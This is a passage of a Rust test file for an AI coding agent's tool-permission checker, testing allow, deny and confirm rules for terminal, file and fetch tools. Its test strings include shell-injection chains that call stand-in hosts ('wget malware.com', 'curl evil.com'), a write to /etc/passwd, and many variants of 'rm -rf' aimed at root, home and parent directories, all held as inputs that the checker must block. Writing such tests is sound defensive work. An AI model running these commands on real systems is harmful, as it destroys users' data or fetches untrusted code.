1040 }
1041
1042 #[test]
1043 fn partial_tool_name_no_match() {
1044 let mut tools = collections::HashMap::default();
1045 tools.insert(
1046 Arc::from("term"),
1047 ToolRules {
1048 default: Some(ToolPermissionMode::Deny),
1049 always_allow: vec![],
1050 always_deny: vec![],
1051 always_confirm: vec![],
1052 invalid_patterns: vec![],
1053 },
1054 );
1055 let p = ToolPermissions {
1056 default: ToolPermissionMode::Confirm,
1057 tools,
1058 };
1059 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1060 assert_eq!(
1061 ToolPermissionDecision::from_input(
1062 TerminalTool::NAME,
1063 &["x".to_string()],
1064 &p,
1065 ShellKind::Posix
1066 ),
1067 ToolPermissionDecision::Confirm
1068 );
1069 }
1070
1071 // invalid patterns block the tool
1072 #[test]
1073 fn invalid_pattern_blocks() {
1074 let mut tools = collections::HashMap::default();
1075 tools.insert(
1076 Arc::from(TerminalTool::NAME),
1077 ToolRules {
1078 default: Some(ToolPermissionMode::Allow),
1079 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1080 always_deny: vec![],
1081 always_confirm: vec![],
1082 invalid_patterns: vec![InvalidRegexPattern {
1083 pattern: "[bad".into(),
1084 rule_type: "always_deny".into(),
1085 error: "err".into(),
1086 }],
1087 },
1088 );
1089 let p = ToolPermissions {
1090 default: ToolPermissionMode::Confirm,
1091 tools,
1092 };
1093 // Invalid patterns block the tool regardless of other settings
1094 assert!(matches!(
1095 ToolPermissionDecision::from_input(
1096 TerminalTool::NAME,
1097 &["echo hi".to_string()],
1098 &p,
1099 ShellKind::Posix
1100 ),
1101 ToolPermissionDecision::Deny(_)
1102 ));
1103 }
1104
1105 #[test]
1106 fn invalid_substitution_bearing_command_denies_by_default() {
1107 let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1108 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1109 }
1110
1111 #[test]
1112 fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1113 let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1114 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1115 }
1116
1117 #[test]
1118 fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1119 let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1120 assert_eq!(decision, ToolPermissionDecision::Allow);
1121 }
1122
1123 #[test]
1124 fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1125 let mut tools = collections::HashMap::default();
1126 tools.insert(
1127 Arc::from(TerminalTool::NAME),
1128 ToolRules {
1129 default: Some(ToolPermissionMode::Allow),
1130 always_allow: vec![],
1131 always_deny: vec![],
1132 always_confirm: vec![],
1133 invalid_patterns: vec![],
1134 },
1135 );
1136 let permissions = ToolPermissions {
1137 default: ToolPermissionMode::Confirm,
1138 tools,
1139 };
1140
1141 assert_eq!(
1142 ToolPermissionDecision::from_input(
1143 TerminalTool::NAME,
1144 &["echo $(whoami)".to_string()],
1145 &permissions,
1146 ShellKind::Posix,
1147 ),
1148 ToolPermissionDecision::Allow
1149 );
1150 }
1151
1152 #[test]
1153 fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1154 t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1155 }
1156
1157 #[test]
1158 fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1159 t("PAGER=blah git log --oneline")
1160 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1161 .is_allow();
1162 }
1163
1164 #[test]
1165 fn env_prefixed_allow_pattern_requires_matching_env_value() {
1166 t("PAGER=more git log --oneline")
1167 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1168 .is_confirm();
1169 }
1170
1171 #[test]
1172 fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1173 t("PAGER=blah git log && git status")
1174 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1175 .is_confirm();
1176 }
1177
1178 #[test]
1179 fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1180 let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1181 match decision {
1182 ToolPermissionDecision::Deny(message) => {
1183 assert!(
1184 message.contains("built-in security rule"),
1185 "expected hardcoded denial message, got: {message}"
1186 );
1187 }
1188 other => panic!("expected Deny, got {other:?}"),
1189 }
1190 }
1191
1192 #[test]
1193 fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1194 let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1195 match decision {
1196 ToolPermissionDecision::Deny(message) => {
1197 assert!(
1198 message.contains("built-in security rule"),
1199 "expected hardcoded denial message, got: {message}"
1200 );
1201 }
1202 other => panic!("expected Deny, got {other:?}"),
1203 }
1204 }
1205
1206 #[test]
1207 fn shell_injection_via_double_ampersand_not_allowed() {
1208 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1209 }
1210
1211 #[test]
1212 fn shell_injection_via_semicolon_not_allowed() {
1213 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1214 }
1215
1216 #[test]
1217 fn shell_injection_via_pipe_not_allowed() {
1218 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1219 }
1220
1221 #[test]
1222 fn shell_injection_via_backticks_not_allowed() {
1223 t("echo `wget malware.com`")
1224 .allow(&[pattern("echo")])
1225 .is_deny();
1226 }
1227
1228 #[test]
1229 fn shell_injection_via_dollar_parens_not_allowed() {
1230 t("echo $(wget malware.com)")
1231 .allow(&[pattern("echo")])
1232 .is_deny();
1233 }
1234
1235 #[test]
1236 fn shell_injection_via_or_operator_not_allowed() {
1237 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1238 }
1239
1240 #[test]
1241 fn shell_injection_via_background_operator_not_allowed() {
1242 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1243 }
1244
1245 #[test]
1246 fn shell_injection_via_newline_not_allowed() {
1247 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1248 }
1249
1250 #[test]
1251 fn shell_injection_via_process_substitution_input_not_allowed() {
1252 t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1253 }
1254
1255 #[test]
1256 fn shell_injection_via_process_substitution_output_not_allowed() {
1257 t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1258 }
1259
1260 #[test]
1261 fn shell_injection_without_spaces_not_allowed() {
1262 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1263 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1264 }
1265
1266 #[test]
1267 fn shell_injection_multiple_chained_operators_not_allowed() {
1268 t("ls && echo hello && wget malware.com")
1269 .allow(&["^ls"])
1270 .is_confirm();
1271 }
1272
1273 #[test]
1274 fn shell_injection_mixed_operators_not_allowed() {
1275 t("ls; echo hello && wget malware.com")
1276 .allow(&["^ls"])
1277 .is_confirm();
1278 }
1279
1280 #[test]
1281 fn shell_injection_pipe_stderr_not_allowed() {
1282 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1283 }
1284
1285 #[test]
1286 fn allow_requires_all_commands_to_match() {
1287 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1288 }
1289
1290 #[test]
1291 fn dev_null_redirect_does_not_cause_false_negative() {
1292 // Redirects to /dev/null are known-safe and should be skipped during
1293 // command extraction, so they don't prevent auto-allow from matching.
1294 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1295 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1296 .is_allow();
1297 }
1298
1299 #[test]
1300 fn redirect_to_real_file_still_causes_confirm() {
1301 // Redirects to real files (not /dev/null) should still be included in
1302 // the extracted commands, so they prevent auto-allow when unmatched.
1303 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1304 }
1305
1306 #[test]
1307 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1308 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1309 // "echo y\ny" and "git add -p file". Both should match their respective allow
1310 // patterns, so the overall command should be auto-allowed.
1311 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1312 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1313 .is_allow();
1314 }
1315
1316 #[test]
1317 fn deny_triggers_on_any_matching_command() {
1318 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1319 }
1320
1321 #[test]
1322 fn deny_catches_injected_command() {
1323 t("ls && rm -rf ./temp")
1324 .allow(&["^ls"])
1325 .deny(&["^rm"])
1326 .is_deny();
1327 }
1328
1329 #[test]
1330 fn confirm_triggers_on_any_matching_command() {
1331 t("ls && sudo reboot")
1332 .allow(&["^ls"])
1333 .confirm(&["^sudo"])
1334 .is_confirm();
1335 }
1336
1337 #[test]
1338 fn always_allow_button_works_end_to_end() {
1339 // This test verifies that the "Always Allow" button behavior works correctly:
1340 // 1. User runs a command like "cargo build --release"
1341 // 2. They click "Always Allow for `cargo build` commands"
1342 // 3. The pattern extracted should match future "cargo build" commands
1343 // but NOT other cargo subcommands like "cargo test"
1344 let original_command = "cargo build --release";
1345 let extracted_pattern = pattern(original_command);
1346
1347 // The extracted pattern should allow the original command
1348 t(original_command).allow(&[extracted_pattern]).is_allow();
1349
1350 // It should allow other "cargo build" invocations with different flags
1351 t("cargo build").allow(&[extracted_pattern]).is_allow();
1352 t("cargo build --features foo")
1353 .allow(&[extracted_pattern])
1354 .is_allow();
1355
1356 // But NOT other cargo subcommands — the pattern is subcommand-specific
1357 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1358 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1359
1360 // Hyphenated extensions of the subcommand should not match either
1361 // (e.g. cargo plugins like "cargo build-foo")
1362 t("cargo build-foo")
1363 .allow(&[extracted_pattern])
1364 .is_confirm();
1365 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1366
1367 // But not commands with different base commands
1368 t("npm install").allow(&[extracted_pattern]).is_confirm();
1369
1370 // Chained commands: all must match the pattern
1371 t("cargo build && cargo build --release")
1372 .allow(&[extracted_pattern])
1373 .is_allow();
1374
1375 // But reject if any subcommand doesn't match
1376 t("cargo build && npm install")
1377 .allow(&[extracted_pattern])
1378 .is_confirm();
1379 }
1380
1381 #[test]
1382 fn always_allow_button_works_without_subcommand() {
1383 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1384 // should only include the command name, not the flag.
1385 let original_command = "ls -la";
1386 let extracted_pattern = pattern(original_command);
1387
1388 // The extracted pattern should allow the original command
1389 t(original_command).allow(&[extracted_pattern]).is_allow();
1390
1391 // It should allow other invocations of the same command
1392 t("ls").allow(&[extracted_pattern]).is_allow();
1393 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1394
1395 // But not different commands
1396 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1397
1398 // Chained commands: all must match
1399 t("ls -la && ls /tmp")
1400 .allow(&[extracted_pattern])
1401 .is_allow();
1402 t("ls -la && cat file.txt")
1403 .allow(&[extracted_pattern])
1404 .is_confirm();
1405 }
1406
1407 #[test]
1408 fn nested_command_substitution_is_denied() {
1409 t("echo $(cat $(whoami).txt)")
1410 .allow(&["^echo", "^cat", "^whoami"])
1411 .is_deny();
1412 }
1413
1414 #[test]
1415 fn parse_failure_is_denied() {
1416 t("ls &&").allow(&["^ls$"]).is_deny();
1417 }
1418
1419 #[test]
1420 fn mcp_tool_default_modes() {
1421 t("")
1422 .tool("mcp:fs:read")
1423 .mode(ToolPermissionMode::Allow)
1424 .is_allow();
1425 t("")
1426 .tool("mcp:bad:del")
1427 .mode(ToolPermissionMode::Deny)
1428 .is_deny();
1429 t("")
1430 .tool("mcp:gh:issue")
1431 .mode(ToolPermissionMode::Confirm)
1432 .is_confirm();
1433 t("")
1434 .tool("mcp:gh:issue")
1435 .mode(ToolPermissionMode::Confirm)
1436 .global_default(ToolPermissionMode::Allow)
1437 .is_confirm();
1438 }
1439
1440 #[test]
1441 fn mcp_doesnt_collide_with_builtin() {
1442 let mut tools = collections::HashMap::default();
1443 tools.insert(
1444 Arc::from(TerminalTool::NAME),
1445 ToolRules {
1446 default: Some(ToolPermissionMode::Deny),
1447 always_allow: vec![],
1448 always_deny: vec![],
1449 always_confirm: vec![],
1450 invalid_patterns: vec![],
1451 },
1452 );
1453 tools.insert(
1454 Arc::from("mcp:srv:terminal"),
1455 ToolRules {
1456 default: Some(ToolPermissionMode::Allow),
1457 always_allow: vec![],
1458 always_deny: vec![],
1459 always_confirm: vec![],
1460 invalid_patterns: vec![],
1461 },
1462 );
1463 let p = ToolPermissions {
1464 default: ToolPermissionMode::Confirm,
1465 tools,
1466 };
1467 assert!(matches!(
1468 ToolPermissionDecision::from_input(
1469 TerminalTool::NAME,
1470 &["x".to_string()],
1471 &p,
1472 ShellKind::Posix
1473 ),
1474 ToolPermissionDecision::Deny(_)
1475 ));
1476 assert_eq!(
1477 ToolPermissionDecision::from_input(
1478 "mcp:srv:terminal",
1479 &["x".to_string()],
1480 &p,
1481 ShellKind::Posix
1482 ),
1483 ToolPermissionDecision::Allow
1484 );
1485 }
1486
1487 #[test]
1488 fn case_insensitive_by_default() {
1489 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1490 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1491 }
1492
1493 #[test]
1494 fn case_sensitive_allow() {
1495 t("cargo test")
1496 .allow_case_sensitive(&[pattern("cargo")])
1497 .is_allow();
1498 t("CARGO TEST")
1499 .allow_case_sensitive(&[pattern("cargo")])
1500 .is_confirm();
1501 }
1502
1503 #[test]
1504 fn case_sensitive_deny() {
1505 t("rm -rf ./temp")
1506 .deny_case_sensitive(&[pattern("rm")])
1507 .is_deny();
1508 t("RM -RF ./temp")
1509 .deny_case_sensitive(&[pattern("rm")])
1510 .mode(ToolPermissionMode::Allow)
1511 .is_allow();
1512 }
1513
1514 #[test]
1515 fn nushell_allows_with_allow_pattern() {
1516 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1517 }
1518
1519 #[test]
1520 fn nushell_allows_deny_patterns() {
1521 t("rm -rf ./temp")
1522 .deny(&["rm\\s+-rf"])
1523 .shell(ShellKind::Nushell)
1524 .is_deny();
1525 }
1526
1527 #[test]
1528 fn nushell_allows_confirm_patterns() {
1529 t("sudo reboot")
1530 .confirm(&["sudo"])
1531 .shell(ShellKind::Nushell)
1532 .is_confirm();
1533 }
1534
1535 #[test]
1536 fn nushell_no_allow_patterns_uses_default() {
1537 t("ls")
1538 .deny(&["rm"])
1539 .mode(ToolPermissionMode::Allow)
1540 .shell(ShellKind::Nushell)
1541 .is_allow();
1542 }
1543
1544 #[test]
1545 fn elvish_allows_with_allow_pattern() {
1546 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1547 }
1548
1549 #[test]
1550 fn rc_allows_with_allow_pattern() {
1551 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1552 }
1553
1554 #[test]
1555 fn multiple_invalid_patterns_pluralizes_message() {
1556 let mut tools = collections::HashMap::default();
1557 tools.insert(
1558 Arc::from(TerminalTool::NAME),
1559 ToolRules {
1560 default: Some(ToolPermissionMode::Allow),
1561 always_allow: vec![],
1562 always_deny: vec![],
1563 always_confirm: vec![],
1564 invalid_patterns: vec![
1565 InvalidRegexPattern {
1566 pattern: "[bad1".into(),
1567 rule_type: "always_deny".into(),
1568 error: "err1".into(),
1569 },
1570 InvalidRegexPattern {
1571 pattern: "[bad2".into(),
1572 rule_type: "always_allow".into(),
1573 error: "err2".into(),
1574 },
1575 ],
1576 },
1577 );
1578 let p = ToolPermissions {
1579 default: ToolPermissionMode::Confirm,
1580 tools,
1581 };
1582
1583 let result = ToolPermissionDecision::from_input(
1584 TerminalTool::NAME,
1585 &["echo hi".to_string()],
1586 &p,
1587 ShellKind::Posix,
1588 );
1589 match result {
1590 ToolPermissionDecision::Deny(msg) => {
1591 assert!(
1592 msg.contains("2 regex patterns"),
1593 "Expected '2 regex patterns' in message, got: {}",
1594 msg
1595 );
1596 }
1597 other => panic!("Expected Deny, got {:?}", other),
1598 }
1599 }
1600
1601 // always_confirm patterns on non-terminal tools
1602 #[test]
1603 fn always_confirm_works_for_file_tools() {
1604 t("sensitive.env")
1605 .tool(EditFileTool::NAME)
1606 .confirm(&["sensitive"])
1607 .is_confirm();
1608
1609 t("normal.txt")
1610 .tool(EditFileTool::NAME)
1611 .confirm(&["sensitive"])
1612 .mode(ToolPermissionMode::Allow)
1613 .is_allow();
1614
1615 t("/etc/config")
1616 .tool(DeletePathTool::NAME)
1617 .confirm(&["/etc/"])
1618 .is_confirm();
1619
1620 t("/home/user/safe.txt")
1621 .tool(DeletePathTool::NAME)
1622 .confirm(&["/etc/"])
1623 .mode(ToolPermissionMode::Allow)
1624 .is_allow();
1625
1626 t("https://secret.internal.com/api")
1627 .tool(FetchTool::NAME)
1628 .confirm(&["secret\\.internal"])
1629 .is_confirm();
1630
1631 t("https://public.example.com/api")
1632 .tool(FetchTool::NAME)
1633 .confirm(&["secret\\.internal"])
1634 .mode(ToolPermissionMode::Allow)
1635 .is_allow();
1636
1637 // confirm on non-terminal tools still beats allow
1638 t("sensitive.env")
1639 .tool(EditFileTool::NAME)
1640 .allow(&["sensitive"])
1641 .confirm(&["\\.env$"])
1642 .is_confirm();
1643
1644 // confirm on non-terminal tools is still beaten by deny
1645 t("sensitive.env")
1646 .tool(EditFileTool::NAME)
1647 .confirm(&["sensitive"])
1648 .deny(&["\\.env$"])
1649 .is_deny();
1650
1651 // global default allow does not bypass confirm on non-terminal tools
1652 t("/etc/passwd")
1653 .tool(EditFileTool::NAME)
1654 .confirm(&["/etc/"])
1655 .global_default(ToolPermissionMode::Allow)
1656 .is_confirm();
1657 }
1658
1659 // Hardcoded security rules tests - these rules CANNOT be bypassed
1660
1661 #[test]
1662 fn hardcoded_blocks_rm_rf_root() {
1663 t("rm -rf /").is_deny();
1664 t("rm -fr /").is_deny();
1665 t("rm -RF /").is_deny();
1666 t("rm -FR /").is_deny();
1667 t("rm -r -f /").is_deny();
1668 t("rm -f -r /").is_deny();
1669 t("RM -RF /").is_deny();
1670 t("rm /").is_deny();
1671 // Long flags
1672 t("rm --recursive --force /").is_deny();
1673 t("rm --force --recursive /").is_deny();
1674 // Extra short flags
1675 t("rm -rfv /").is_deny();
1676 t("rm -v -rf /").is_deny();
1677 // Glob wildcards
1678 t("rm -rf /*").is_deny();
1679 t("rm -rf /* ").is_deny();
1680 // End-of-options marker
1681 t("rm -rf -- /").is_deny();
1682 t("rm -- /").is_deny();
1683 // Prefixed with sudo or other commands
1684 t("sudo rm -rf /").is_deny();
1685 t("sudo rm -rf /*").is_deny();
1686 t("sudo rm -rf --no-preserve-root /").is_deny();
1687 }
1688
1689 #[test]
1690 fn hardcoded_blocks_rm_rf_home() {
1691 t("rm -rf ~").is_deny();
1692 t("rm -fr ~").is_deny();
1693 t("rm -rf ~/").is_deny();
1694 t("rm -rf $HOME").is_deny();
1695 t("rm -fr $HOME").is_deny();
1696 t("rm -rf $HOME/").is_deny();
1697 t("rm -rf ${HOME}").is_deny();
1698 t("rm -rf ${HOME}/").is_deny();
1699 t("rm -RF $HOME").is_deny();
1700 t("rm -FR ${HOME}/").is_deny();
1701 t("rm -R -F ${HOME}/").is_deny();
1702 t("RM -RF ~").is_deny();
1703 // Long flags
1704 t("rm --recursive --force ~").is_deny();
1705 t("rm --recursive --force ~/").is_deny();
1706 t("rm --recursive --force $HOME").is_deny();
1707 t("rm --force --recursive ${HOME}/").is_deny();
1708 // Extra short flags
1709 t("rm -rfv ~").is_deny();
1710 t("rm -v -rf ~/").is_deny();
1711 // Glob wildcards
1712 t("rm -rf ~/*").is_deny();
1713 t("rm -rf $HOME/*").is_deny();
1714 t("rm -rf ${HOME}/*").is_deny();
1715 // End-of-options marker
1716 t("rm -rf -- ~").is_deny();
1717 t("rm -rf -- ~/").is_deny();
1718 t("rm -rf -- $HOME").is_deny();
1719 }
1720
1721 #[test]
1722 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1723 // Path traversal after $HOME / ${HOME} should still be blocked
1724 t("rm -rf $HOME/./").is_deny();
1725 t("rm -rf $HOME/foo/..").is_deny();
1726 t("rm -rf ${HOME}/.").is_deny();
1727 t("rm -rf ${HOME}/./").is_deny();
1728 t("rm -rf $HOME/a/b/../..").is_deny();
1729 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1730 // Subdirectories should NOT be blocked
1731 t("rm -rf $HOME/subdir")
1732 .mode(ToolPermissionMode::Allow)
1733 .is_allow();
1734 t("rm -rf ${HOME}/Documents")
1735 .mode(ToolPermissionMode::Allow)
1736 .is_allow();
1737 }
1738
1739 #[test]
1740 fn hardcoded_blocks_rm_rf_dot() {
1741 t("rm -rf .").is_deny();
1742 t("rm -fr .").is_deny();
1743 t("rm -rf ./").is_deny();
1744 t("rm -rf ..").is_deny();
1745 t("rm -fr ..").is_deny();
1746 t("rm -rf ../").is_deny();
1747 t("rm -RF .").is_deny();
1748 t("rm -FR ../").is_deny();
1749 t("rm -R -F ../").is_deny();
1750 t("RM -RF .").is_deny();
1751 t("RM -RF ..").is_deny();
1752 // Long flags
1753 t("rm --recursive --force .").is_deny();
1754 t("rm --force --recursive ../").is_deny();
1755 // Extra short flags
1756 t("rm -rfv .").is_deny();
1757 t("rm -v -rf ../").is_deny();
1758 // Glob wildcards
1759 t("rm -rf ./*").is_deny();
1760 t("rm -rf ../*").is_deny();
1761 // End-of-options marker
1762 t("rm -rf -- .").is_deny();
1763 t("rm -rf -- ../").is_deny();
1764 }
1765
1766 #[test]
1767 fn hardcoded_cannot_be_bypassed_by_global() {
1768 // Even with global default Allow, hardcoded rules block
1769 t("rm -rf /")
1770 .global_default(ToolPermissionMode::Allow)
1771 .is_deny();
1772 t("rm -rf ~")
1773 .global_default(ToolPermissionMode::Allow)
1774 .is_deny();
1775 t("rm -rf $HOME")
1776 .global_default(ToolPermissionMode::Allow)
1777 .is_deny();
1778 t("rm -rf .")
1779 .global_default(ToolPermissionMode::Allow)
1780 .is_deny();
1781 t("rm -rf ..")
1782 .global_default(ToolPermissionMode::Allow)
1783 .is_deny();
1784 }
1785
1786 #[test]
1787 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1788 // Even with an allow pattern that matches, hardcoded rules block
1789 t("rm -rf /").allow(&[".*"]).is_deny();
1790 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1791 t("rm -rf .").allow(&[".*"]).is_deny();
1792 t("rm -rf ..").allow(&[".*"]).is_deny();
1793 }
1794
1795 #[test]
1796 fn hardcoded_allows_safe_rm() {
1797 // rm -rf on a specific path should NOT be blocked
1798 t("rm -rf ./build")
1799 .mode(ToolPermissionMode::Allow)
1800 .is_allow();
1801 t("rm -rf /tmp/test")
1802 .mode(ToolPermissionMode::Allow)
1803 .is_allow();
1804 t("rm -rf ~/Documents")
1805 .mode(ToolPermissionMode::Allow)
1806 .is_allow();
1807 t("rm -rf $HOME/Documents")
1808 .mode(ToolPermissionMode::Allow)
1809 .is_allow();
1810 t("rm -rf ../some_dir")
1811 .mode(ToolPermissionMode::Allow)
1812 .is_allow();
1813 t("rm -rf .hidden_dir")
1814 .mode(ToolPermissionMode::Allow)
1815 .is_allow();
1816 t("rm -rfv ./build")
1817 .mode(ToolPermissionMode::Allow)
1818 .is_allow();
1819 t("rm --recursive --force ./build")
1820 .mode(ToolPermissionMode::Allow)
1821 .is_allow();
1822 }
1823
1824 #[test]
1825 fn hardcoded_checks_chained_commands() {
1826 // Hardcoded rules should catch dangerous commands in chains
1827 t("ls && rm -rf /").is_deny();
1828 t("echo hello; rm -rf ~").is_deny();
1829 t("cargo build && rm -rf /")
1830 .global_default(ToolPermissionMode::Allow)
1831 .is_deny();
1832 t("echo hello; rm -rf $HOME").is_deny();
1833 t("echo hello; rm -rf .").is_deny();
1834 t("echo hello; rm -rf ..").is_deny();
1835 }
1836
1837 #[test]
1838 fn hardcoded_blocks_rm_with_extra_flags() {
1839 // Extra flags like -v, -i should not bypass the security rules
1840 t("rm -rfv /").is_deny();
1841 t("rm -v -rf /").is_deny();
1842 t("rm -rfi /").is_deny();
1843 t("rm -rfv ~").is_deny();
1844 t("rm -rfv ~/").is_deny();
1845 t("rm -rfv $HOME").is_deny();
1846 t("rm -rfv .").is_deny();
1847 t("rm -rfv ./").is_deny();
1848 t("rm -rfv ..").is_deny();
1849 t("rm -rfv ../").is_deny();
1850 }
1851
1852 #[test]
1853 fn hardcoded_blocks_rm_with_long_flags() {
1854 t("rm --recursive --force /").is_deny();
1855 t("rm --force --recursive /").is_deny();
1856 t("rm --recursive --force ~").is_deny();
1857 t("rm --recursive --force ~/").is_deny();
1858 t("rm --recursive --force $HOME").is_deny();
1859 t("rm --recursive --force .").is_deny();
1860 t("rm --recursive --force ..").is_deny();
1861 }
1862
1863 #[test]
1864 fn hardcoded_blocks_rm_with_glob_star() {
1865 // rm -rf /* is equally catastrophic to rm -rf /
1866 t("rm -rf /*").is_deny();
1867 t("rm -rf ~/*").is_deny();
1868 t("rm -rf $HOME/*").is_deny();
1869 t("rm -rf ${HOME}/*").is_deny();
1870 t("rm -rf ./*").is_deny();
1871 t("rm -rf ../*").is_deny();
1872 }
1873
1874 #[test]
1875 fn hardcoded_extra_flags_allow_safe_rm() {
1876 // Extra flags on specific paths should NOT be blocked
1877 t("rm -rfv ~/somedir")
1878 .mode(ToolPermissionMode::Allow)
1879 .is_allow();
1880 t("rm -rfv /tmp/test")
1881 .mode(ToolPermissionMode::Allow)
1882 .is_allow();
1883 t("rm --recursive --force ./build")
1884 .mode(ToolPermissionMode::Allow)
1885 .is_allow();
1886 }
1887
1888 #[test]
1889 fn hardcoded_does_not_block_words_containing_rm() {
1890 // Words like "storm", "inform" contain "rm" but should not be blocked
1891 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1892 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1893 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1894 }
1895
1896 #[test]
1897 fn hardcoded_blocks_rm_with_trailing_flags() {
1898 // GNU rm accepts flags after operands by default
1899 t("rm / -rf").is_deny();
1900 t("rm / -fr").is_deny();
1901 t("rm / -RF").is_deny();
1902 t("rm / -r -f").is_deny();
1903 t("rm / --recursive --force").is_deny();
1904 t("rm / -rfv").is_deny();
1905 t("rm /* -rf").is_deny();
1906 // Mixed: some flags before path, some after
1907 t("rm -r / -f").is_deny();
1908 t("rm -f / -r").is_deny();
1909 // Home
1910 t("rm ~ -rf").is_deny();
1911 t("rm ~/ -rf").is_deny();
1912 t("rm ~ -r -f").is_deny();
1913 t("rm $HOME -rf").is_deny();
1914 t("rm ${HOME} -rf").is_deny();
1915 // Dot / dotdot
1916 t("rm . -rf").is_deny();
1917 t("rm ./ -rf").is_deny();
1918 t("rm . -r -f").is_deny();
1919 t("rm .. -rf").is_deny();
1920 t("rm ../ -rf").is_deny();
1921 t("rm .. -r -f").is_deny();
1922 // Trailing flags in chained commands
1923 t("ls && rm / -rf").is_deny();
1924 t("echo hello; rm ~ -rf").is_deny();
1925 // Safe paths with trailing flags should NOT be blocked
1926 t("rm ./build -rf")
1927 .mode(ToolPermissionMode::Allow)
1928 .is_allow();
1929 t("rm /tmp/test -rf")
1930 .mode(ToolPermissionMode::Allow)
1931 .is_allow();
1932 t("rm ~/Documents -rf")
1933 .mode(ToolPermissionMode::Allow)
1934 .is_allow();
1935 }
1936
1937 #[test]
1938 fn hardcoded_blocks_rm_with_flag_equals_value() {
1939 // --flag=value syntax should not bypass the rules
1940 t("rm --no-preserve-root=yes -rf /").is_deny();
1941 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1942 t("rm -rf --no-preserve-root=yes /").is_deny();
1943 t("rm --interactive=never -rf /").is_deny();
1944 t("rm --no-preserve-root=yes -rf ~").is_deny();
1945 t("rm --no-preserve-root=yes -rf .").is_deny();
1946 t("rm --no-preserve-root=yes -rf ..").is_deny();
1947 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1948 // --flag (without =value) should also not bypass the rules
1949 t("rm -rf --no-preserve-root /").is_deny();
1950 t("rm --no-preserve-root -rf /").is_deny();
1951 t("rm --no-preserve-root --recursive --force /").is_deny();
1952 t("rm -rf --no-preserve-root ~").is_deny();
1953 t("rm -rf --no-preserve-root .").is_deny();
1954 t("rm -rf --no-preserve-root ..").is_deny();
1955 t("rm -rf --no-preserve-root $HOME").is_deny();
1956 // Trailing --flag=value after path
1957 t("rm / --no-preserve-root=yes -rf").is_deny();
1958 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1959 // Trailing --flag (without =value) after path
1960 t("rm / -rf --no-preserve-root").is_deny();
1961 t("rm ~ -rf --no-preserve-root").is_deny();
1962 // Safe paths with --flag=value should NOT be blocked
1963 t("rm --no-preserve-root=yes -rf ./build")
1964 .mode(ToolPermissionMode::Allow)
1965 .is_allow();
1966 t("rm --interactive=never -rf /tmp/test")
1967 .mode(ToolPermissionMode::Allow)
1968 .is_allow();
1969 // Safe paths with --flag (without =value) should NOT be blocked
1970 t("rm --no-preserve-root -rf ./build")
1971 .mode(ToolPermissionMode::Allow)
1972 .is_allow();
1973 }
1974
1975 #[test]
1976 fn hardcoded_blocks_rm_with_path_traversal() {
1977 // Traversal to root via ..
1978 t("rm -rf /etc/../").is_deny();
1979 t("rm -rf /tmp/../../").is_deny();
1980 t("rm -rf /tmp/../..").is_deny();
1981 t("rm -rf /var/log/../../").is_deny();
1982 // Root via /./
